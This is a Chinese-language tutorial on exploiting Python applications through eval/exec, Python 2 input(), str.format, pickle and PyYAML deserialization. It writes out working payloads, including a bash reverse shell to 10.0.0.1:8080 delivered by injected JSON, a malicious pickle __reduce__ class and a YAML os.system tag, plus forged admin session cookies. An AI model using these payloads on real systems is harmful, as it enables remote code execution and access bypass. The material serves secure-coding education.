【技术分享】针对Python应用程序进行漏洞利用和后门开发的几种方法

一、简介

应用程序的安全性与语言的选择几乎没有关系,你可以使用容易产生漏洞的语言安全地编程,也可以使用设计上安全的语言做出一些不安全的事。

不过,作为程序员应该当心不同语言的特性可能导致的漏洞。今天我们来介绍几个在Python中可能被攻击者利用的危险特性。

二、利用危险函数:eval(), exec() 和 input()

Python 中像 eval(),exec() 和 input() 这样的危险函数可以被利用来进行权限绕过,甚至能导致代码执行。

Eval()

Python 中的 eval() 方法会获取字符串并将其作为代码执行,例如执行 eval('1+1') 会返回 2 。

由于 eval() 可以被用来在系统上执行任意代码,所以千万千万不要把它用在任何未经过滤的用户输入上,让我们来看一个漏洞程序,下面这个计算器程序使用一个 JSON API 来接收用户输入:

def addition(a, b):
 return eval("%s + %s" % (a, b))
result = addition(request.json['a'], request.json['b'])
print("The result is %d." % result)

按照程序的预期运行,输入

{"a":"1", "b":"2"}

程序会打印 “ The result is 3. ”

但由于 eval() 会获取用户的输入并将其作为 Python 代码执行,攻击者可以提供以下恶意输入:

{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#", "b":"2"}

该输入会导致程序调用 os.system() 并产生一个指向 IP 10.0.0.1 上 8080 端口的反向 shell 。

Exec()

exec() 与 eval() 类似,一样能把输入的字符串作为 Python 代码执行,下面这个程序可以通过和上面一样的方法进行利用:

def addition(a, b):
 return exec("%s + %s" % (a, b))
addition(request.json['a'], request.json['b'])

Input()

在 Python 2 中有两个接收用户输入的内置函数:input() 和 raw_input(),而在 Python 3 中,只有 1 个函数:input()

Python 2 中 input() 和 raw_input() 的区别是:raw_input() 会获取用户输入并且在进一步处理前将其转换成字符串,而 input() 则会保留输入数据的原始类型。

这会出现什么问题?使用 Python 2 的 input() 函数意味着攻击者可以自由地传入变量名、函数名和其它数据类型,进而导致权限绕过和其它意外的结果。

例如,如果一个程序使用以下代码进行访问控制:

user_pass = get_user_pass("admin")
if user_pass == input(“Please enter your password”):
 login()
else:
 print "Password is incorrect!"

攻击者可以传递一个变量名 user_pass 作为输入, 然后程序会通过判断。因为程序会把用户的输入解释为一个 变量,此时 Python 的条件判断会变成这样:

if user_pass == user_pass: // 这将永远为真

攻击者甚至可以传入 get_user_pass("admin"),然后也能得到同样的结果,因为用户的输入被解释成了一个函数调用:

if user_pass == get_user_pass("admin"): 
// 这也将永远为真

因为这些安全问题,如果你正在使用 Python 2 ,那么你应该使用 raw_input() 来代替 input() 。

这个漏洞在 Python 3 中已经被消灭了,Python 3 中唯一的输入函数只有 input() ,与 Python 2 中的 raw_input() 表现一样,会把用户的输入转换为字符串。

三、利用格式化字符串

另外一个比较危险的 Python 函数是 str.format() ,如果程序在一个由用户控制的格式化字符串上使用 str.format(),攻击者就能通过精心构造的格式化字符串来访问程序中的任意数据,这是一个容易利用的高危漏洞,会导致权限绕过和机密数据泄露。

Python 3 引入了一种新的格式化字符串方法,相比以前使用 % 操作符 的方法更强大更灵活。新方法中的其中一个特性是你可以访问对象中的属性,这意味着你可以像下面这样做:

假如有一个像下面这样的程序,允许用户通过 str.format() 来格式化程序中的 nametag ,

CONFIG = {
"API_KEY": "771df488714111d39138eb60df756e6b"
// some program secrets that users should not be able to read
}
class Person(object):
def __init__(self, name):
self.name = name
def print_nametag(format_string, person):
return format_string.format(person=person)
new_person = Person(“Vickie”)
print_nametag(input("Please format your nametag!"), person)

你可以输入这样的格式化字符串:

print_nametag("Hi, my name is {person.name}. I am a {person.__class__.__name__}.", new_person)

输出为:

“Hi, my name is Vickie. I am a Person.”

当用户能直接控制格式化字符串,并向格式化字符串中传入一个 Python 对象时,问题就出现了。原因在于 Python 对象方法中的 特殊属性 ,这些属性可以泄露程序中的各种数据。例如,属性 __globals__ 可以获取存放了所有全局变量的字典,当执行

print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)

会返回 “771df488714111d39138eb60df756e6b”,因而造成程序内的 API key 泄露。

四、利用 Pickle 反序列化

序列化是把编程语言中的一个对象(例如一个 Python 对象)转化为能被保存到数据库或在网络上进行传输的格式的过程,而反序列化则刚好反过来:从文件或网络中读取序列化数据并将其转化回对象。

在 Python 中,序列化通过 Pickle 来完成,以下代码会打印出 new_person 的序列化表示(这个过程叫做序列化):

class Person:
  def __init__(self, name):
    self.name = name

new_person = Person("Vickie")
print(pickle.dumps(new_person))

输出为:

b'x80x03c__main__
Person
qx00)x81qx01}qx02Xx04x00x00x00nameqx03Xx06x00x00x00Vickieqx04sb.'

pickle.loads(pickled_object) 则会返回一个原始 Python 对象给程序来操作(这个过程叫反序列化)。

print(pickle.loads(b’x80x03c__main__
Person
qx00)x81qx01}qx02Xx04x00x00x00nameqx03Xx06x00x00x00Vickieqx04sb.’).name)
// -> prints "Vickie"

当程序从不信任源接收数据时,这个函数的风险就会显现出来。如果攻击者能控制被程序反序列化的数据,他可能会进行权限绕过甚至是代码执行。

(1)权限绕过

如果程序通过一个由反序列化对象得到的信息进行访问控制,并且不检查对象的完整性,那么攻击者就能轻易地通过提供一个伪造的对象给应用来进行权限绕过。

比方说一个程序的会话 Cookie 是一段 base64 编码的字符串,即一个 Person 对象的序列化表示。当程序接收到一个会话 Cookie,它会对 Cookie 进行反序列化以检查对象中的 "name" 字段中的用户身份,

class Person:
  def __init__(self, name):
    self.name = name

new_person = Person("Vickie")
session_cookie = base64_encode(pickle.dumps(new_person))

序列化数据不提供任何形式的数据保护,它只是打包数据以进行传输的一种方式,如果 cookie 没有经过加密,而且在使用之前没有检查 cookie 的完整性,攻击者就能轻易地通过以下代码来伪造任意用户的 cookie :

class Person:
  def __init__(self, name):
    self.name = name

new_person = Person("Admin")
session_cookie = base64.b64encode(pickle.dumps(new_person))

(2)代码执行

现在到了最令人兴奋的的一部分:利用不安全的反序列化实现代码执行。

记住,序列化对象可以代表任意的 Python 对象,当程序反序列化一个序列化对象时,它会初始化一个那个类的对象。

序列化类允许通过定义一个 __reduce__ 方法来声明它的对象会被如何序列化,这个方法没有任何参数且只返回一个字符串或元组。当返回一个元组,该元组会指明对象如何通过反序列化被重建,元组的形式应该为这样:

(用于实例化新对象的可调用对象,第一个可调用对象的参数元组)

这意味着如果攻击者在对象中定义了一个 __reduce__ 方法,则在反序列化时会把序列化对象实例化为其它对象。现在如果攻击者构造一个像这样的恶意对象:

class Malicious:
  def __reduce__(self):
    return (os.system, ('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1',))

fake_object = Malicious()
session_cookie = base64.b64encode(pickle.dumps(fake_object))

他就能使程序在反序列化时调用以下命令:

os.system(‘bash -i >& /dev/tcp/10.0.0.1/8080 0>&1’)

这将产生一个指向 IP 10.0.0.1 上 8080 端口的反向 shell 。

五、利用 YAML 解析

另一种能危害 Python 应用的不安全反序列化方式是 YAML 文件加载。

有趣的是,YAML 代表 “ YAML Aint't Markup Language (YAML不是标记语言)”,它是一种数据序列化标准,已经在各种编程语言中广泛使用。在 Python 中,PyYaml 是最受欢迎的 YAML 处理库。

YAML文件与序列化数据相似,能代表任意的 Python 对象。在 PyYaml 中,你可以像这样把一个 Python 对象打包成 YAML 文件:

class Person:
  def __init__(self, name):
    self.name = name

new_person = Person("Vickie")
print(yaml.dump(new_person))

这会打印出以下字符串:

!!python/object:__main__.Person {name: Vickie}

要将 YAML 文件重建为原始的 Python 对象,应用程序应调用:

yaml.load(YAML_FILE)

与反序列化问题类似,YAML 加载也给了攻击者伪造任意对象和实现代码执行的机会。

(1)权限绕过

如果应用使用用户提供的 YAML 文件进行访问控制,并且不检查 YAML 文件的完整性,恶意用户可能会伪造任意 YAML 文件来绕过访问控制。

class Person:
  def __init__(self, name):
    self.name = name

new_person = Person("Vickie")
session_cookie = base64_encode(yaml.dump(new_person))

例如,如果上面的代码用于给用户生成会话 cookie,攻击者可以轻易地生成一个伪造的 cookie:

class Person:
  def __init__(self, name):
    self.name = name

new_person = Person("Admin")
session_cookie = base64_encode(yaml.dump(new_person))

(2)代码执行

如果应用使用 PyYaml < 4.1,则还可以通过在 YAML 中向应用程序提供 os.system() 命令来实现任意代码执行:

!!python/object/apply:os.system ["bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"]

六、总结

除了特定于语言的漏洞外,与平台无关的问题(例如 XSS, XXE, SQL注入和命令注入)也始终值得关注。

此外,受污染的程序包和未修复的依赖仍然是 Python 开发人员最大的安全隐患之一,所以一定要注意这些。



原文地址:https://www.cnblogs.com/dubh3/p/12410302.html